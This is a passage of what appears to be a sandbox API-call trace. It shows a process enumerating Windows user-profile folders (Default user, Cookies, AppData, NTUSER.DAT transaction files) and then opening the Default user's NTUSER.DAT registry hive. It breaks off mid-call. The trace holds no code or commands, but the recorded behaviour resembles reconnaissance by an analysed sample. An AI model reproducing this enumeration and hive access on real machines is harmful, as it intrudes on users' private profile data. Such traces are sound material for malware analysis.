[0153.883] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b716935, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b716935, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~4.REG")) returned 1 [0153.883] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0153.883] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0153.883] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0153.883] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0153.884] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0153.884] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0153.884] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0153.884] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0153.884] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0153.884] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0153.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0153.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0153.884] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0153.885] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0153.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0153.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0153.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0153.886] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0153.886] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0153.886] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0153.886] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0153.886] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0153.886] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0153.886] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0153.886] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x7a4c27fa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x7a4c27fa, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0153.887] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0153.887] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0153.887] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7dab84ff, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855f639a, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0153.887] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7ddd9675, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0153.887] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de71fdf, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0x855d0141, ftLastAccessTime.dwHighDateTime=0x1d2fa07, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0153.887] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~2.BLF")) returned 1 [0153.888] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~3.REG")) returned 1 [0153.888] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b716935, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b716935, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~4.REG")) returned 1 [0153.888] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0153.888] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0153.888] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0153.888] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0153.888] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0153.889] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0153.889] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0153.889] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0153.889] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.889] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0153.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0153.889] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT", lpFilePart=0x0) returned 0x1b [0153.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0153.889] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), fInfoLevelId=0x0, lpFileInformation=0x33b7028 | out: lpFileInformation=0x33b7028*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x7a4c27fa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x7a4c27fa, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x40000)) returned 1 [0153.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0153.890] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT", lpFilePart=0x0) returned 0x1b [0153.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0153.890] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: 